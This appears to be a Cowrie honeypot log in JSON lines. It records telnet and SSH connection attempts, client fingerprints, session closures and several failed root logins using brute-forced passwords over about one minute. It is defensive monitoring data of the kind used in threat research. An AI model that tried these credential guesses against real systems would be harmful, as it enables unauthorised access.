{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58754,"dst_ip":"10.17.0.5","dst_port":23,"session":"d126e7107473","protocol":"telnet","message":"New connection: 188.208.141.113:58754 (10.17.0.5:23) [session: d126e7107473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:13.431023Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49154,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c34ba6b8de","protocol":"telnet","message":"New connection: 206.189.32.23:49154 (10.17.0.5:23) [session: 59c34ba6b8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:14.091109Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vN!123345","message":"login attempt [root/vN!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:15.374192Z","src_ip":"213.209.159.158","session":"e30a33addb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.8246662616729736,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:16.255586Z","src_ip":"188.208.141.113","session":"d126e7107473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d68c2d07b98","protocol":"telnet","message":"New connection: 188.208.141.113:58770 (10.17.0.5:23) [session: 8d68c2d07b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:17.843059Z"}
{"eventid":"cowrie.session.closed","duration":31.649603128433228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:18.014501Z","src_ip":"162.55.233.176","session":"badeb6335b55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:18.505947Z","src_ip":"213.209.159.158","session":"e30a33addb7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32584,"dst_ip":"10.17.0.5","dst_port":22,"session":"3994c81f72e2","protocol":"ssh","message":"New connection: 213.209.159.158:32584 (10.17.0.5:22) [session: 3994c81f72e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:18.589848Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b575f39963","protocol":"telnet","message":"New connection: 188.208.141.113:58780 (10.17.0.5:23) [session: e5b575f39963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:19.750278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:21.077895Z","src_ip":"213.209.159.158","session":"3994c81f72e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:21.081678Z","src_ip":"213.209.159.158","session":"3994c81f72e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59528,"dst_ip":"159.203.135.109","dst_port":23,"session":"384bde512656","protocol":"telnet","message":"New connection: 162.55.233.176:59528 (159.203.135.109:23) [session: 384bde512656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:23.401060Z"}
{"eventid":"cowrie.session.closed","duration":36.68818378448486,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:24.349980Z","src_ip":"188.208.141.113","session":"912c5e413c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.736135482788086,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:24.452959Z","src_ip":"206.189.32.23","session":"110e07855c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.003888130187988,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:24.754028Z","src_ip":"188.208.141.113","session":"e5b575f39963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59536,"dst_ip":"159.203.135.109","dst_port":23,"session":"661ef9469709","protocol":"telnet","message":"New connection: 162.55.233.176:59536 (159.203.135.109:23) [session: 661ef9469709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:25.735268Z"}
{"eventid":"cowrie.session.closed","duration":45.01989150047302,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:26.014459Z","src_ip":"188.208.141.113","session":"c43a9eb1eee2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.32764458656311,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:26.698345Z","src_ip":"188.208.141.113","session":"6b27fb8b0ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.13106918334961,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:28.877262Z","src_ip":"206.189.32.23","session":"256f5f4114b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59538,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d4b30e9332f","protocol":"telnet","message":"New connection: 162.55.233.176:59538 (159.203.135.109:23) [session: 6d4b30e9332f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:29.898948Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VUcdn123","message":"login attempt [root/VUcdn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:30.195192Z","src_ip":"213.209.159.158","session":"3994c81f72e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61870789527893,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:30.658675Z","src_ip":"162.55.233.176","session":"a7d13abad518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47096,"dst_ip":"10.17.0.5","dst_port":23,"session":"084db442d492","protocol":"telnet","message":"New connection: 188.208.141.113:47096 (10.17.0.5:23) [session: 084db442d492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:31.220035Z"}
{"eventid":"cowrie.session.closed","duration":47.79702973365784,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:32.552527Z","src_ip":"206.189.32.23","session":"3708aab890e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:33.347252Z","src_ip":"213.209.159.158","session":"3994c81f72e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":25292,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b31639cf6fb","protocol":"ssh","message":"New connection: 213.209.159.158:25292 (10.17.0.5:22) [session: 6b31639cf6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:33.443120Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55830,"dst_ip":"159.203.135.109","dst_port":23,"session":"53489f4c5be5","protocol":"telnet","message":"New connection: 162.55.233.176:55830 (159.203.135.109:23) [session: 53489f4c5be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:34.456587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:35.984958Z","src_ip":"213.209.159.158","session":"6b31639cf6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:35.988628Z","src_ip":"213.209.159.158","session":"6b31639cf6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3db4d8dbf4f6","protocol":"telnet","message":"New connection: 162.55.233.176:55832 (159.203.135.109:23) [session: 3db4d8dbf4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:36.244699Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53956,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa7ce54b5a0","protocol":"telnet","message":"New connection: 206.189.32.23:53956 (10.17.0.5:23) [session: 3fa7ce54b5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:37.788905Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55844,"dst_ip":"159.203.135.109","dst_port":23,"session":"2abf1072864d","protocol":"telnet","message":"New connection: 162.55.233.176:55844 (159.203.135.109:23) [session: 2abf1072864d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:39.849314Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vl.123345","message":"login attempt [root/Vl.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:44.966031Z","src_ip":"213.209.159.158","session":"6b31639cf6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:48.451867Z","src_ip":"213.209.159.158","session":"6b31639cf6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36026,"dst_ip":"10.17.0.5","dst_port":22,"session":"55faa4d4ea02","protocol":"ssh","message":"New connection: 213.209.159.158:36026 (10.17.0.5:22) [session: 55faa4d4ea02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:48.558143Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39200,"dst_ip":"159.203.135.109","dst_port":23,"session":"99ccfd3f84ae","protocol":"telnet","message":"New connection: 162.55.233.176:39200 (159.203.135.109:23) [session: 99ccfd3f84ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:49.069061Z"}
{"eventid":"cowrie.session.closed","duration":43.184324741363525,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:49.182338Z","src_ip":"206.189.32.23","session":"9c1dc19b36d5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:50.754618Z","src_ip":"213.209.159.158","session":"55faa4d4ea02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:50.759364Z","src_ip":"213.209.159.158","session":"55faa4d4ea02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.28081154823303,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:54.096388Z","src_ip":"188.208.141.113","session":"ffcdc03019ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.857230186462402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:55.258167Z","src_ip":"162.55.233.176","session":"384bde512656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196834087371826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:56.931940Z","src_ip":"162.55.233.176","session":"661ef9469709","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps.com","message":"login attempt [root/vps.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:59.921066Z","src_ip":"213.209.159.158","session":"55faa4d4ea02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55518,"dst_ip":"159.203.135.109","dst_port":23,"session":"53d2b72d0d5b","protocol":"telnet","message":"New connection: 162.55.233.176:55518 (159.203.135.109:23) [session: 53d2b72d0d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:00.585982Z"}
{"eventid":"cowrie.session.closed","duration":30.724801778793335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:00.623670Z","src_ip":"162.55.233.176","session":"6d4b30e9332f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56446,"dst_ip":"10.17.0.5","dst_port":23,"session":"499422186c4b","protocol":"telnet","message":"New connection: 188.208.141.113:56446 (10.17.0.5:23) [session: 499422186c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:01.202286Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55530,"dst_ip":"159.203.135.109","dst_port":23,"session":"a50ba4df485b","protocol":"telnet","message":"New connection: 162.55.233.176:55530 (159.203.135.109:23) [session: a50ba4df485b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:01.627200Z"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:03.096325Z","src_ip":"213.209.159.158","session":"55faa4d4ea02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5f0c62b9b2","protocol":"telnet","message":"New connection: 188.208.141.113:56458 (10.17.0.5:23) [session: 3a5f0c62b9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:03.210908Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56040,"dst_ip":"10.17.0.5","dst_port":22,"session":"634eb6e64991","protocol":"ssh","message":"New connection: 213.209.159.158:56040 (10.17.0.5:22) [session: 634eb6e64991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:03.237092Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49318,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ace24f34183","protocol":"telnet","message":"New connection: 162.55.233.176:49318 (159.203.135.109:23) [session: 2ace24f34183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:03.400078Z"}
{"eventid":"cowrie.session.closed","duration":2.798563241958618,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:04.000726Z","src_ip":"188.208.141.113","session":"499422186c4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.005428075790405,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:04.096402Z","src_ip":"206.189.32.23","session":"59c34ba6b8de","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:05.257973Z","src_ip":"213.209.159.158","session":"634eb6e64991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:05.261836Z","src_ip":"213.209.159.158","session":"634eb6e64991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.45808029174805,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:05.301020Z","src_ip":"188.208.141.113","session":"8d68c2d07b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56466,"dst_ip":"10.17.0.5","dst_port":23,"session":"9832b299549f","protocol":"telnet","message":"New connection: 188.208.141.113:56466 (10.17.0.5:23) [session: 9832b299549f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:07.136447Z"}
{"eventid":"cowrie.session.closed","duration":33.25194764137268,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:07.708428Z","src_ip":"162.55.233.176","session":"53489f4c5be5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56826,"dst_ip":"10.17.0.5","dst_port":23,"session":"48db1abd9703","protocol":"telnet","message":"New connection: 206.189.32.23:56826 (10.17.0.5:23) [session: 48db1abd9703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:09.206043Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58264,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1553757895","protocol":"telnet","message":"New connection: 206.189.32.23:58264 (10.17.0.5:23) [session: 5f1553757895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:09.810504Z"}
{"eventid":"cowrie.session.closed","duration":30.666439294815063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:10.515660Z","src_ip":"162.55.233.176","session":"2abf1072864d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.627107381820679,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:12.763418Z","src_ip":"188.208.141.113","session":"9832b299549f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vol","message":"login attempt [root/vol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:48:14.642396Z","src_ip":"213.209.159.158","session":"634eb6e64991","protocol":"ssh"}
